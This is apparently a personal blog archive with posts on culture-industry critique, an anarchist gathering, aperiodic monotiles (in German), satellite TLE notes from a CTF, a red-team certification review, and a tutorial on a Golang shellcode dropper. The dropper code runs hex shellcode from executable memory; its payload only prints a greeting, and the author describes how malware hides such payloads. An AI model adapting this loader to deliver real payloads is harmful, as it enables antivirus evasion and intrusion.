Every product of that culture is a similar bleak commodity that is cut into standardized chunks for marketing, advertising, and distribution. It has no artisanal value or individuality. The only goal of the culture industry that produces culture products is profit. Thus, no risks are taken and the same repetitive content is spewed out that lulls people into complacency.

Contemporary Culture Industry

Even though the term was coined in the 1940s, it is easy to find contemporary examples, as the same capitalist mechanisms that produced this phenomenon persist.

Take movies as an example. Current movies in cinemas are series, spin-offs of a series, or reboots. Take a look at “Game of Thrones” or “Lord of the Rings”, or “Star Wars” with its myriads of movies. Take a look at the whole American superhero genre. All movies have the same structure and no creator takes risks anymore.

The same happened with music. All pop songs converge on the same structure and the same few chords. This product is then marketed towards the masses. And each new pop song copies an old pop song thus creating a huge amount of songs that have no artistic goal or expression. This is the case even in niches. Listen to some Iron Maiden. They have found what their fans like and now they produce song after song after song that is a copy of a copy of a copy. Note that this is a case where capitalism actively prevents progress.

The culture industry in music consists of a few large records labels. And the same is true for movies, where only few large players control the market completely.

Culture Industry on the Internet

The huge chance of the internet was a democratization of the production of cultural products, as the obstacles to creating an own website were small in the beginning. This is not the case anymore. Small websites are simply not discoverable and thus stay hidden. There are only a few large web sites that everyone visits and they are full of the same bleak, lifeless content.

Even on Youtube where supposedly any individual can become a content creator the content has become vain. No risks are taken by the creators in order to not lose followers. Thus, the content becomes repetitive. There are no real controversies, only fake drama, click-bait titles, and provocative thumbnails in order to foster engagement.

This is not a problem with the individual content creators. Rather, the incentives for producing content are skewed such that this development will take place. Youtube has established a technocratic system through their recommendation algorithm where content is maximized towards engagement in order for the content creators to receive some likes and increase their viewer numbers.

Click “Like” and subscribe. Feed the Moloch!

“Shozan of the Youtube Channel Zen Confidential in some video i cannot remember”

Psychological Control by Capitalism

The control of the culture industry extends beyond only the culture products into the psychological realm. We are free to consume as we wish, but not to create as we wish. Only standardized forms of entertainment exist that will not subvert the Status Quo.

The culture industry takes our dissatisfaction with the Status Quo and sells that back to us in their products. These cultural products include symbols of rebellion and insurrection. Examples for where that is the case include Batman’s Joker or the movie Fight Club.

This gives us the feeling that we participate in those emotions. Thus, we do not have to act on our feelings of dissatisfaction. The consumer is rendered docile and domination of the culture industry is maintained.

Case Study: Triangle of Sadness

This is a movie that was recommended to me by a colleague of mine. It is about high society people on a yacht and their idiosyncratic behaviors. In one scene an old rich lady asks the captain to clean the sails. The captain answers that this is a motorboat and that there are no sails. Then the lady asks her husband if that is correct and (if i remember correctly) he also says that there are sails. Thus, the movie slightly mocks rich people and their detachedness from the world.

But actually the movie received a Palme d’Or at the Cannes Film Festival. And you know who gave this movie the Palme d’Or? The same champagne-drinking yacht people that the movie wants us to believe it is mocking. The movie is watched by exactly those people it is supposed to criticize.

Case Study: Deadpool

Deadpool is the 8th movie of the X-Men series which at the time of writing consists of 13 movies. This already shows that no risk was taken in the production of that movie. The start of the movie is a parody of an opening credits scene with supposedly funny credits such as “some douchebag’s film”, “starring god’s perfect idiot”, or “a CGI character”.

Probably this is supposed to appear edgy. We should think that some teens had the opportunity to put that in the movie to make a statement about the people who made it. But actually these credits were written by the same rich dudes driving too large cars that write every Hollywood movie. Nothing about that is subversive.

Summary

The culture industry produces culture products with the only goal of mass production. They produce only for profit without taking any risks. There is no artistic goal. The only goal is to make money.

The consumers are lulled into complacency and as a result art does not matter anymore.

Travel Report To An Anarchist Gathering

2023-07-30T00:00:00+00:00

This is a travel report about my trip to St. Imiere to commemorate the 150th anniversary of the first Anti-authoritarian International. The back story is that 150 years ago Bakunin held its congress there which marks the separation between the communist and the anarchist movement.

The trip was an autonomously organized camp with lots of workshops and concerts. Everyone could propose a workshop or support spontaneously. Instead of complaining that the lines at the food distribution were too long, one could volunteer to distribute food by oneself. Thus, there was no clear separation between producer and consumer as is usually the case in our society.

All prices were so-called “suggested prices”, which means that you could pay more or less. The people there did not care that much about money. The camping site was extremely clean and quiet and could not be compared at all to the camp sites at metal festivals which are usually full of dirt and drunk people partying the whole night.

My first workshop was about activist climbing. At the introduction round everyone had to say its pronouns which felt really weird to me. Then, you should not say Prusik knot, because Prusik was a nazi. Instead we called it a caterpillar. One of the goals of the climbing was to make it as cheap as possible, so everyone could participate. Consequently, there was not much else than two caterpillars and a figure eight descender. This made it very tedious and did not feel as secure as the Grigri I was accustomed to. I wondered if i was really at the correct place. There were a lot of workshops about feminism, queerness, and related topics. These are not my activist struggles. I care about animal rights, cheap living space, open source software, Assange support, Black Metal, privacy technologies, criticism of surveillance capitalism, criticism of consumerism, making home-made jam instead of buying some overpriced capitalist sugar-shit, ….

I was planning to leave the next day, but then I got into a conversation with my neighbor at the camping ground. He was able to cheer me up, as he also had different struggles. He was a punk. Currently he was working at medieval fairs. During the corona years he lived in a rainbow community in Colombia that had problems with theft. Any time someone wanted to expel a thief from the community, some hippie shielded the thief as expelling was against the rainbow ideals. This brought down the whole community.

All in all, the people were extremely intelligent and had stimulating views on life. It was easy to get into a conversation, especially when waiting in a queue or volunteering for a shift.

There was a workshop on anti-authoritarian money. Money solidifies power structure and the open question was if that always has to be the case. In the other hand, money is a comparatively cheap way to settle ownership disputes. My friends from university who were also doing research on blockchains would have had fun. (I’m thinking of you, Ketzu.) Another question was how a collective should handle money that it receives from outside by selling products. If you, dear reader, want to go down that rabbit hole, start reading about value networks or gift economy.

One workshop was held by the Anarchist Black Cross of Moscow. This is a prisoner support organisation that currently supports a lot of the political prisoners that protest against the Ukraine war. One interesting point for me was, that prisoner’s support is a low-risk form of activism, and was not declared illegal even in stalinist times. Also interesting to note is that according to the Black Cross funding lawyers is not unnecessary, even though they cannot change the outcome of a process, as the lawyers may be the only ones allowed to speak to the prisoners and thus they are necessary for staying in contact with them.

At some workshops nobody organized them. This was only apparent after 20 minutes in. It was very interesting to see how the people then started organizing themselves. Sometimes this worked, e.g., at the singing workshop. Sometimes this kind of failed. At the workshop about wild practices, we decided to do some stretching. We stood in a circle and everyone had to suggest a movement which then all of us have to do. One movement was howling like a wolf and stretching. It was like a dream of some weird experimental educator. Before everyone had their turn, i asked my neighbor to go into the woods and do a walk and share some skills. This idea was picked up by the others and we walked into the nearby forest and had some discussions and skillsharing. Then, some people decided they wanted to build a bow drill to start a fire. I and a guy from Britain did not think that this would work, but neither of us wanted to be the arrogant negative guy standing around, so we just watched the others and talked. Of course, the bow drill never worked.

There was a workshop about psychedelic substances on the question of legalisation, decriminalization, or communalization. The question was if a legalization would lead to psychedelic substances being fed into the capitalist machine and the creation of precarious work and how that could be prevented. Currently, the creation of psychedelics works like growing tomatoes on a porch, or like sharing cooking recipes. “Share it, don’t sell it”, was something we could agree on.

Another highlight for me was the book fair. There was everything from large publishers to some hobby projects of people that printed some zines in their back yard. I was very impressed that the people were more concerned with making their ideas known than with making money. Again, most of the prices were just suggested. Special shout-out to the anarcho-nihilist Belgians from the post office distro.

All in all, it was great. Five of five stars. Would do again. I really got some impulses for life and thinking about society and money in a different way that will nourish me for a long time. Special thanks to the organizers and all the people who made that event possible. Thanks to all the people for the nice discussions.

Aperiodische Monokacheln

2023-04-13T00:00:00+00:00

Einführung

This post is in German. If you do not understand German read this, this or that instead.

Neulich wurde ein lustiges lange bestehendes mathematisches Problem gelöst, über das ich heute schreibe. Innerhalb der kleinen Mathecommunity gibt es die Nische der Parkettierungscommunity, die sich mit Perkettierungen hauptsächlich von Ebenen beschäftigt.

Der Vorteil an Problemen in dieser Community ist, dass die Problemstellungen dort sehr visuell und intuitiv zugänglich sind um Gegensatz zu beispielsweise L-Funktionen und der Riemannschen Vermutung. Folglich eignen sie sich didaktisch perfekt für einen Einstieg in höhere Mathematik und ich werde in Zukunft auf genau diesen Blog-Artikel verweisen, wenn ich wieder gefragt werde, was ein Mathematiker eigentlich so macht, oder was in der aktuellen mathematischen Forschung passiert.

Genau aus diesem Grund ist dieser Artikel auf deutsch gehalten für ein nichttechnisches Publikum.

Parkettierungen

Eine Parkettierung ist eine Aufteilung der Ebene mit Fliesen oder Kacheln, wie im Bad. Im folgenden verwende ich Parkettierung und Kachelung synonym und nenne die einzelnen Kacheln auch manchmal Fliesen.

Das besondere an der Parkettierung ist, dass die Fliesen immer gleich sind, nur verschoben oder rotiert. Ausserdem hat eine Parkettierung keine Löcher.

Mathematisch spannend wird es, wenn nicht Bäder gefliest werden, sondern die unendlich große zweidimensionale Ebene.

In der folgenden Grafik ist ein Beispiel für eine Parkettierung mit Quadraten. Es ist nur ein Ausschnitt abgebildet. Das Parkett geht noch in alle Richtungen noch weiter.

  _ _   _ _   _ _   _ _   _ _  
|     |     |     |     |     |
|     |     |     |     |     |
| _ _ | _ _ | _ _ | _ _ | _ _ |
|     |     |     |     |     |
|     |     |     |     |     |
| _ _ | _ _ | _ _ | _ _ | _ _ |
|     |     |     |     |     |
|     |     |     |     |     |
| _ _ | _ _ | _ _ | _ _ | _ _ |
|     |     |     |     |     |
|     |     |     |     |     |
| _ _ | _ _ | _ _ | _ _ | _ _ |

Die Parkettierung ist in diesem Fall periodisch. Wenn man das ganze Parkett um eine Fliese nach rechts verschieben würde, dann würde man wieder dasselbe Muster und somit dieselbe Parkettierung erhalten. Ebenso kann man das Parkett um zwei Fliesen nach rechts verschieben. Das ist analog zu den natürlichen Zahlen.

Man könnte das Parkett auch stattdessen um eine Fliese nach oben oder unten verschieben. Oder um ein ganzzahliges Vielfaches davon.

Ebenso können diese Symmetrien kombiniert werden. Man kann das Parkett zuerst um eine Fliese nach rechts verschieben und dann um zwei Fliesen nach unten.

Interessanterweise funktioniert es auch anders herum. Jede solche Symmetrie kann man zerlegen in mehrere horizontale Verschiebungen um je eine Fliese und mehrere vertikale Verschiebungen um eine Fliese.

Dies ist ähnlich zur Primfaktorzerlegung einer Zahl. Jede ganze Zahl kann eindeutig (bis auf Vorzeichen und Reihenfolge) in mehrere Primzahlen zerlegt werden. Man würde sagen, dass die horizontale und die vertikale Verschiebung erzeugende Elemente der Symmetriegruppe sind.

Ebenso könnte man eine andere Parkettierung betrachten:

  _ _   _ _   _ _   _ _   _ _  
|     |     |     |     |     |
|     |     |     |     |     |
| _ _ | _ _ | _ _ | _ _ | _ _ | _
   |     |     |     |     |     |
   |     |     |     |     |     |
 _ | _ _ | _ _ | _ _ | _ _ | _ _ |
|     |     |     |     |     |
|     |     |     |     |     |
| _ _ b _ _ | _ _ | _ _ | _ _ | _
   |     |     |     |     |     |
   |     |     |     |     |     |
   a _ _ | _ _ | _ _ | _ _ | _ _ |

Hier kann man wieder das Parkett horizontal um eine Fliese verschieben. Ebenso ist es aber auch möglich das Parkett schräg nach rechts oben zu verschieben, sodass der Punkt (a) auf den Punkt (b) abgebildet wird.

Eine Kachelung kann auch aus mehreren verschiedenen kacheln bestehen. Betrachtet man das unten abgebildete Pentagon

    _ _   
  /     \ 
 /       \
 \       /
  \ _ _ / 

… und die unten abgebildete Raute

 / \ 
/   \
\   /
 \ /

… kann man damit das folgende Parkett erzeugen:

    _ _       _ _       _ _       _ _   
  /     \   /     \   /     \   /     \ 
 /       \ /       \ /       \ /       \
 \       / \       / \       / \       /
  \ _ _ /   \ _ _ /   \ _ _ /   \ _ _ /
  /     \   /     \   /     \   /     \
 /       \ /       \ /       \ /       \
 \       / \       / \       / \       /
  \ _ _ /   \ _ _ /   \ _ _ /   \ _ _ /
  /     \   /     \   /     \   /     \
 /       \ /       \ /       \ /       \
 \       / \       / \       / \       /
  \ _ _ /   \ _ _ /   \ _ _ /   \ _ _ /
  /     \   /     \   /     \   /     \
 /       \ /       \ /       \ /       \
 \       / \       / \       / \       /
  \ _ _ /   \ _ _ /   \ _ _ /   \ _ _ /

Auch hier gibt es wieder verschiedene Symmetrien. Es ist anzumerken, dass Kacheln in der Mathematik verschoben, gespiegelt und rotiert werden dürfen. Die Fliesen im Bad sollten im Allgemeinen nicht gespiegelt werden.

Nichtperiodische Parkettierungen

Eine naheliegende Frage ist, ob es Parkettierungen gibt, die keine Symmetrien haben. Solche Parkettierungen nennt man nichtperiodisch.

Man könnte hierzu eine Zahlenfolge nehmen, die keine Periodizität hat und diese dann in die Kacheln geeignet kodieren. Zum Beispiel könnte man ein quadratisches Grundgitter nehmen und durchzählen. Jedes Quadrat, das auf einer Primzahlposition ist, könnte man horizontal teilen und alle anderen Quadrate vertikal.

0      1     2     3     4     5     6     7     8     9     10    11    12
  _ _   _ _   _ _   _ _   _ _   _ _   _ _   _ _   _ _   _ _   _ _   _ _   _ _  
|     |     |  |  |  |  |     |  |  |     |  |  |     |     |     |  |  |     |
| - - | - - |  |  |  |  | - - |  |  | - - |  |  | - - | - - | - - |  |  | - - |
| _ _ | _ _ | _|_ | _|_ | _ _ | _|_ | _ _ | _|_ | _ _ | _ _ | _ _ | _|_ | _ _ |

Diese Parkettierung hat keine Symmetrien, weil die Primzahlen keine Symmetrien haben. Man könnte das Gitter vermutlich noch geeignet nach unten ausdehnen auf die zweite Dimension, dass auch dort keine Symmetrien auftauchen.

Nichtperiodische Parkettierungen sind einfach zu bauen. Viel lustiger sind die aperiodischen Fliesen.

Aperiodische Fliesen

Die Frage nach nichtperiodischen Parkettierungen ist ob man die ebene mit einer Fliese so parkettieren kann, dass es keine Periodizität gibt. Es handelt sich dabei um die Frage nach einer Parkettierung.

Die Frage nach aperiodischen Fliesen ist, ob es eine Kachel gibt, mit der man die Ebene so parkettieren kann, dass die entstehenden Parkettierungen immer nichtperiodisch sind.

Man nennt dann sowohl die Fliesen, als auch die Parkettierungen aperiodisch. Aber eigentlich würde es mehr Sinn ergeben nur die Fliese(n) aperiodisch zu nennen.

Penrose Parkettierung

Penrose Parkettierungen sind die einfachsten Beispiele für aperiodische Kacheln. Es gibt mehrere Penrose Parkettierungen. Penrose Parkettierungen bestehen immer aus zwei verschiedenen Formen und es ist unmöglich die Ebene damit periodisch zu kacheln. Diese Parkettierungen wurden nicht, wie man annehmen könnte im antiken Griechenland entdeckt, sondern erst in den 1970er Jahren. Bis dahin waren gar keine aperiodischen Fliesen bekannt.

Hier ein Beispiel für eine Penrose Parkettierung:

Diese Parkettierung hat eine Rotationssymmetrie, aber das ist erlaubt. Nur Periodizität, also Symmetrien basierend auf Verschiebungen sind verboten.

Die Penrose Parkettierung ist zwar eine aperiodische Parkettierung, aber eigentlich wäre es ästhetischer, wenn man nur eine Kachelform hätte. Wenn man zum Beispiel Plätzchen bäckt, muss man nun aufpassen, dass man von beiden Plätzchenformen gleich viele produzieren muss.

Socolar-Taylor Kachel

Die Idee hinter der Socolar-Taylor Kachel ist, dass man eine Grundfläche aus Sechsecken nimmt. An diese Sechsecke werden nun lustige Nasen und Kerben angebaut, die erzwingen, das diese auf eine bestimmte Art ausgelegt werden müssen, die Nichtperiodizität erzwingt. Werden die Kacheln anders ausgelegt, so werden die Kerben nicht mit Nasen ausgefüllt, oder es verbleiben Löcher.

Eine Kachelung mit der Socolar-Taylor Kachel sieht wie folgt aus:

Hierbei ist jede Kachel in einer Farbe.

Das Problem daran ist, dass diese Kachel unzusammenhängend ist. Die Quadrate die nicht mit der Kachel verbunden sind, müssen immer gleich mit der Kachel mitbewegt werden, deswegen handelt es sich von der Definition her um eine Kachel. Aber es ist nicht ästhetisch.

Unzusammenhängende aperiodische Kacheln sind nützlich für Graffiti auf Uni-Toiletten oder Tätowierungen, aber man kann damit wiederum keine Plätzchen backen oder lustige Legespiele aus Holz bauen

Jahrhundertproblem

Kommen wir nun zum eigentlichen Problem, das neulich gelöst wurde.

Die Frage ist nach einer aperiodischen Kachel: Gibt es eine zusammenhängende Kachelform, sodass egal wie man die Ebene damit parkettiert, das entstehende Muster nicht periodisch ist?

Oder anders formuliert: Gibt es eine aperiodische Monokachel?

Vielleicht gibt es auch gar keine solche Kachel und man kann beweisen, dass es sie nicht gibt. Das war aber nicht der Fall. Neulich wurde eine Kachel mit diesen Eingenschaften von David Smith, Joseph Samuel Myers, Craig S. Kaplan und Chaim Goodman-Strauss entdeckt. Es wurden sogar zwei Kacheln entdeckt, die jeweils für sich aperiodisch sind.

Die eine ist als Hut (hat) bekannt, obwohl sie eher aussieht wie ein Shirt. Die andere hat den Nicknamen Schildkröte (turtle) bekommen.

Wenn man die Socolar-Taylor Kachel aus dem letzten Abschnitt gesehen hat, würde man denken, dass die aperiodische Monokachel noch viel grimmiger aussehen würde. Das war aber nicht der Fall.

Die beiden Kacheln sehen wie folgt aus. In der linken Spalte befindet sich der Hut und in der rechten Spalte die Schildkröte.

Eine Kachelung mit Hüten sieht wie folgt aus:

Anwendungen

Anwendungen hat das angeblich in der Physik, wenn es um die Struktur von Kristallen oder Quasikristallen geht. Aber ich bin kein Physiker und bin eher an der platonischen Welt der Ideen interessiert. Welche Anwendung hat ein Gedicht? Welche Anwendung hat ein Gemälde von Escher?

Kachelkult

Anbei noch ein Bild von Craig Kaplan, der mit seinem Team die Aperiodizität der Kachel bewiesen hat.

Ich persönlich halte Bilder von den Leuten für egal, obwohl im Wissenschaftsjournalismus immer die Leute gezeigt werden. Wieso ich das Bild hier zeige ist wegen dem großartigen Regal.

Alleine schon die dreidimensionale Hilbertkurve in der dritten Reihe oder die Origamistücke, die lustig zu Sternen zusammengesetzt wurden. Gäbe es ein Abo, bei dem man jeden Monat einen solchen Gegenstand geschickt bekommen würde, würde ich jeden Preis dafür zahlen! Am besten noch als Bausatz.

Wie dem auch sei. Auf jeden Fall kann man nun die aperiodische Monokachel als Plätzchenausstecherform bauen. Bei den Penrose Kacheln benötigte man zwei verschiedene Formen. Hier benötigt man allerdings auch zwei Formen, wenn man es sauber machen will, da die gespiegelte Form des Plätzchens dann doch etwas anders aussieht, als wenn man das Plätzchen einfach umdreht.

Es handelt sich jetzt hierbei um den Hut. Nicht um die Schildkröte.

Danksagungen

@ntumanov_Xray für das Erstellen der Vorlage für die Ausstecherleform.
einem Arbeitskollegen ohne Internetpräsenz für das Drucken meiner Ausstecherleform.

Intro To Satellite Stuff

2023-04-06T00:00:00+00:00

Introduction

Last weekend i agreed to support as a mathematician in a CTF team. We were participating in the Hack-a-sat CTF, which is an international competition sponsored by the air force about hacking satellites. We scored 7th place. As i had nearly no knowledge about satellites, i used a few evenings to read a little bit. These are my (somewhat) cleaned up notes.

This is not a writeup, as my team was much more clever than me and so i was not able to contribute as much as i hoped i could.

TLE

The orbit of satellites is usually given as Two-line element set (TLE). This is a data format consisting of two lines (obviously). Each line has 69 symbols due to some historical limitations dating back to punch cards.

The TLE for the ISS looks as follows:

ISS (ZARYA)
1 25544U 98067A   08264.51782528 -.00002182  00000-0 -11606-4 0  2927
2 25544  51.6416 247.4627 0006703 130.5360 325.0288 15.72125391563537

The first line is information about the satellite and its speed.

Columns  Meaning
01       Line Number of Element Data
03-07    Satellite Number
08       Classification
10-11    International Designator (Last two digits of launch year)
12-14    International Designator (Launch number of the year)
15-17    International Designator (Piece of the launch)
19-20    Epoch Year (Last two digits of year)
21-32    Epoch (Day of the year and fractional portion of the day)
34-43    First Time Derivative of the Mean Motion
45-52    Second Time Derivative of Mean Motion (decimal point assumed)
54-61    BSTAR drag term (decimal point assumed)
63       Ephemeris type
65-68    Element number
69       Checksum (Modulo 10)

BSTAR is the drag term of the satellite. There are five models to compute the orbital state vectors, i.e., the position of the satellite. As the Earth’s shape, magnetic field, atmosphere are all highly irregular, you need such a model to predict its effects.

The second line is about the position of the satellite:

Columns  Meaning
01      Line number
03–07   Satellite Catalog number
09–16   Inclination (degrees)
18–25   Right ascension of the ascending node (degrees)
27–33   Eccentricity (decimal point assumed)
35–42   Argument of perigee (degrees)
44–51   Mean anomaly (degrees)
53–63   Mean motion (revolutions per day)
64–68   Revolution number at epoch (revolutions)
69      Checksum (modulo 10)

Curiosities

Note that both of these lines have a checksum as a form of error checking. However, it’s only the sum modulo 10. This is in general not a good form of error checking, as it is unable to detect any errors from transpositions of characters.

Any particular satellite TLE set is only valid for a couple of weeks to either side of that TLE’s epoch. This is due to maneuvers of the satellites or the magnetic field and the drag of earth’s atmosphere. The five simplified models mentioned above cannot account for all of that. That’s why they are called simplified.

What i found very interesting is, that it is possible to get a list of all larger objects surrounding space in TLE format. You don’t even have to get some expensive government license. You can just click this link. There are also other sources for TLEs

Short but Fun Exercise for You, Dear Reader

Here are the TLEs from two of the Starlink satellites. Compare them. What is different? What is similar? What is the same? Why? Would you have expected that?

STARLINK-1007
1 44713U 19074A   23096.54092968  .00004826  00000+0  34276-3 0  9997
2 44713  53.0527 301.7232 0001403  75.8888 284.2257 15.06390401187929
STARLINK-1008
1 44714U 19074B   23096.05531000  .00019972  00000+0  13542-2 0  9999
2 44714  53.0528 303.9072 0001111  67.2224 292.8882 15.06446350187858

Software Support for TLEs

If you want to work with them in Python, there is the Skyfield library with great documentation, as well as the astropy library.

Other stuff

There is an XML format for spacecraft data telemetry that is widely used and called the XML Telemetric and Command Exchange format (XTCE). Its specification can be found here.

Firmware on satellites is often in some obscure architecture such as SPARC or some other RISC-architecture.

If we have an image of the sky and a catalog of stars and want to match them, this is called the star identification problem and is a special case of the subgraph isomorphism problem which is in general NP-complete.

Acknowledgments

Thanks

AllesCTF! It was a pleasure hacking with you.
TheVamp Thanks for inviting me to your ctf team.
Hack-A-Sat Thanks for organizing the CTF and building such nice challenges.

Crto Course Review

2023-03-15T00:00:00+00:00

Introduction

In the middle of March i decided to take the Certified Red Team Operator (CRTO) certification by ZeroPoint Security.

As I would have loved to read some more reviews of it before taking it, here’s mine.

General

The CRTO is a pretty novel certificate in the area of IT security and especially red teaming (in contrast to penetration testing). It is considered a beginner certificate as it is very general. It covers phishing, Kerberos, Active Directory misconfigurations, Windows privilege escalation and much more. However, if you think it is easy, due to the fact that it is considered a beginner certificate then you are wrong. In fact, you need to know quite some stuff, like how to use a command line and understand a lot of the things that may be considered basic in IT security. Still, when i was back at university, I would probably have failed it.

Well, my company granted me some time for the certificate. I used a week for going through the course material, one more week for the lab (in fact, I only spend 30 hours in the lab), and then i did the exam and passed (again in 30 hours).

The Course Material

The course material is great. Everything you need to know for the exam is in there. The texts are very short and applied. For everything there is an example that you can try in the lab. For the more complicated things there were videos.

The course material was fun to read and I even looked forward to it. It is clearly written and there are no ambiguities. The sections are short and encourage you to participate.

Sometimes alternative ways of reaching a goal are explained. This is the principle of “attack in depth”, according to which a good red teamer should know more ways to perform the same attack, as some may be monitored or blocked.

The course material was where this course shined for me. I studied one week full-time.

The Lab

The lab was nice. You get a Cobalt Strike license and can perform all the attacks. But mostly I was not using any special CS functionality, but rather took CS as a platform to launch other tools such as Rubeus or Whisker. Still, CS is probably considered the industry standard, so it makes sense to know it.

The lab is inside a guacamole session. So everything is browser-based and you do not need any special VPN configuration. The tools are already installed, which in my opinion is great. You can perform attacks and apply your knowledge instead of fiddling with compiling some abandoned code from github as in other labs.

The lab is not a challenge lab, where you have to think by yourself, but rather a “copy paste lab”. You can copy the code from the course and apply it directly in the lab. In my opinion that was okay, but i did some of the attacks by memory to increase the learning effect for myself. As an example, some tools need a FQDN, and if you are using the Netbios name instead, then there will be an error and you will be unable to figure out why. Also with Kerberos, sometimes you need a new logon session to log in to other services with your stolen tickets.

The lab is sold in monthly subscriptions. I purchased 40 hours, but only needed 30 hours to test everything i wanted to try.

You have the lab by yourself, so there is no other hacker that reverts your machines or breaks the services you want to exploit. You can pause the lab and are only billed by the time you are using it.

The Exam

At the end of my two weeks of learning i tried my hands at the exam. I was not looking forward to it but who likes exams anyway. The exam is in a lab with 8 machines, and you need to compromise 6 of them. You have 48 hours for this, but can split it over four days. So at the worst, you have four days where you are hacking 12 hours per day.

At least, there is no report necessary. You just have to copy the content of the flag files from the desktops of the administrators as a proof of compromise.

As a result of that hazing you may get a hip certificate if you pass. It’s not that you can do anything with the certificate. The CRTO is a pretty novel certification so HR does not know it and you will not find it in any job description. But if you are speaking to someone with more background in IT security it may be possible that he knows it and is impressed. It may be good for your ego, though.

One attempt at an exam was included in the price of the course, so i thought that i should at least try it. I don’t know if i would have attempted the exam if it wasn’t included in the price.

Well, the exam was well designed as it covered the content of the course pretty well. There was no knowledge necessary that was unexpected. The course was a good preparation for the exam.

But still there were technical difficulties. While the connectivity between the machines was very good in the lab, in the exam it was apeshit. At one point i was unsure if it was part of the exam or if there were really technical problems.

While the lab felt like building a sandcastle, the exam felt like building a sandcastle when sometimes a wave came by. I did a lot of the same steps multiple times as my beacons died. Whereas in the lab nearly every method of lateral movement worked, in the exam i needed to try all methods one after another until one worked. One attack was especially flaky and i needed to perform it multiple times until it worked. In fact, when it did not work the first time i thought that it did not work at all and tried different things (including taking a walk) for six hours.

My DNS beacons did not work at all. I suspect that the domains were not registered in the DNS server, but in the end i was fine without using DNS beacons.

In the exam it was always clear what the next step was. The machines can only be completed in a fixed succession. On the one hand, this is fun, as you know what is expected. You don’t have to be lucky in finding the one vulnerability when enumerating your target. On the other hand, you are stuck when you are stuck and there is no way to hack a different machine until you have a new idea.

In the end, i solved the six machines in 31 hours over 3 days. So i even had 17 hours left. I was attempting to hack further, but as i was unable to execute a beacon on the sixth machine i called it a day.

I had a technical problem, as one of the desktops did not contain the flag file. I needed to ask in the discord channel for support. Rastamouse, the head behind ZeroPoint Security helped me within at most five minutes. Could I have been stuck on that issue and failed my course due to that? No. The flags are numbered. And as soon as you find a flag with a number where you don’t have the predecessor you know that something is wrong. This brings me to my next point.

Community

There is a forum on the web page of the course, but the real community is on Discord. Discord as a community may not be ideal. But as a place for technical support it is great. In other certifications I attended there was only mail contact (which is slow) or you needed to use IRC (which is okay). Also, the community is very helpful if you ask the right questions and show that you are trying. I have not read even one “try harder”, as it is unfortunately common in infosec communities.

Conclusion

In summary, regarding the presentation of content, the CRTO was probably one of the best courses I ever attended. I learned a lot. Even though some of the attacks were already known to me, it’s still good to be able to perform them with different tools. The exam was fair, but i am not sure if i would have been sad if i did not make it.

Banana Bunny says thanks to Rastamouse! As my photoshop skills are non-existent i hope you like some AI generated art.

A Dropper In Golang

2023-02-02T00:00:00+00:00

Introduction

This blog post is about a fancy program that i wrote. Due to dramaturgical reasons we will start from the end. I will first show the program and explain how it works. Then i will jump back to the other side and explain how i wrote it.

If you are interested in calling C functions from Golang and position independent assembly code, then read on. If you know how to write a dropper then you may already know everything that i will show you.

The Program

Without further ado, let me show you my program.

package main

/*
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
void call(char *shellcode, size_t length) {
	if(fork()) {
		return;
	}
	unsigned char *ptr;
	ptr = (unsigned char *) mmap(0, length, \
		PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if(ptr == MAP_FAILED) {
		perror("mmap");
		return;
	}
	memcpy(ptr, shellcode, length);
	( *(void(*) ()) ptr)();
}
*/
import "C"

import (
	"encoding/hex"
	"fmt"
	"unsafe"
)

func main() {
	string := "eb1eb801000000bf010000005eba0d0000000f05b83c000000bf000000000f05e8ddffffff48656c6c6f2c20776f726c64210a"
	sc, err := hex.DecodeString(string)
	if err != nil {
		fmt.Println("Unable to convert hex to byte. ", err)
	}
	C.call((*C.char)(unsafe.Pointer(&sc[0])), (C.size_t)(len(sc)))
}

If you like puzzles, you may want to stop reading here and figure out for yourself what it does.

This is Golang code that can be compiled as usual (go build). It interfaces C code using the cgo package. In particular, there is a C function called call that can be called from within Golang. There is a string called string that is decoded as hexadecimal and then given to the function call. The function call interprets the decoded string as a function and executes it.

But what does the string "eb1eb801000000bf010000005eba0d0000000f05b83c000000bf000000000f05e8ddffffff48656c6c6f2c20776f726c64210a" interpreted as function do? Well, it prints Hello, World!. You can see for yourself by writing it to a file and disassembling it, e.g, with radare or objdump (objdump -b binary -D -m i386:x86-64 -M intel Opcodes.bin).

But why would anyone program such a monster, you may ask? Usually programming patterns such as this can be used to load more functionality at run-time (in contrast to having the functionality already baked in at compile-time). Note how the string does not necessarily need to be compiled in the binary. It would also be possible for the string to be given at runtime by the user or even be downloaded from a remote server.

Malware often employs similar mechanism in order to obfuscate its functionality. In the language of malware development this would be considered a dropper or a loader. In this case the string would offer some malicious functionality. The string could lie encrypted in the binary and then be decrypted at runtime in order to evade static analysis by antivirus engines. Even more sophisticated, the decryption key could be the host name of the targeted machine, in order to evade analysis by antivirus engines in the cloud. But I digress.

How I Arrived Here

Let us now hop to the other side of this adventure and start at the beginning. How did i create that string that prints Hello, World!?

First Attempt at Assembly

First of all i needed to get the machine code of a program that emits Hello, World!. So I simply wrote one in assembly. Below you can see HalloW64.asm. This program is targeted towards an x64 computer running Linux.

;; compile with 
;; nasm -f elf64 -o HalloW64.o HalloW64.asm
;; ld -o HalloW64.out HalloW64.o

global _start

section .rodata                 ; section declaration for the string
  msg: db "Hello, world!", 10

section .text       ; section declaration

_start:
  mov rax, 1        ; write syscall
  mov rdi, 1        ; stdout file descriptor in destination index (di)
  mov rsi, msg      ; "Hello, world!" in source index (si)
  mov rdx, 13       ; length of "Hello, world!"
  syscall           ; execute

  mov rax, 60       ; exit syscall
  mov rdi, 0        ; return value success
  syscall           ; execute

The program has a .rodata section that contains the string to be printed. In this case Hello, World!. Then there is a section .text that holds the code for printing the string. When the CPU processes this code, it starts at _start:, fills the registers necessary for performing the write syscall, executes the syscall, and then exits the program.

Even though we now have a program that prints Hello, World!, you may already see a problem. The string that is printed is in a different section than the code itself. In particular when executing the write syscall, the register rsi contains a pointer to a different section. This will not work in our dropper.

We can verify this by looking at the assembly.

$ objdump -D HalloW64.out -M intel

Disassembly of section .text:

0000000000401000 <_start>:
  401000:	b8 01 00 00 00       	mov    eax,0x1
  401005:	bf 01 00 00 00       	mov    edi,0x1
  40100a:	48 be 00 20 40 00 00 	movabs rsi,0x402000
  401011:	00 00 00 
  401014:	ba 0d 00 00 00       	mov    edx,0xd
  401019:	0f 05                	syscall 
  40101b:	b8 3c 00 00 00       	mov    eax,0x3c
  401020:	bf 00 00 00 00       	mov    edi,0x0
  401025:	0f 05                	syscall 

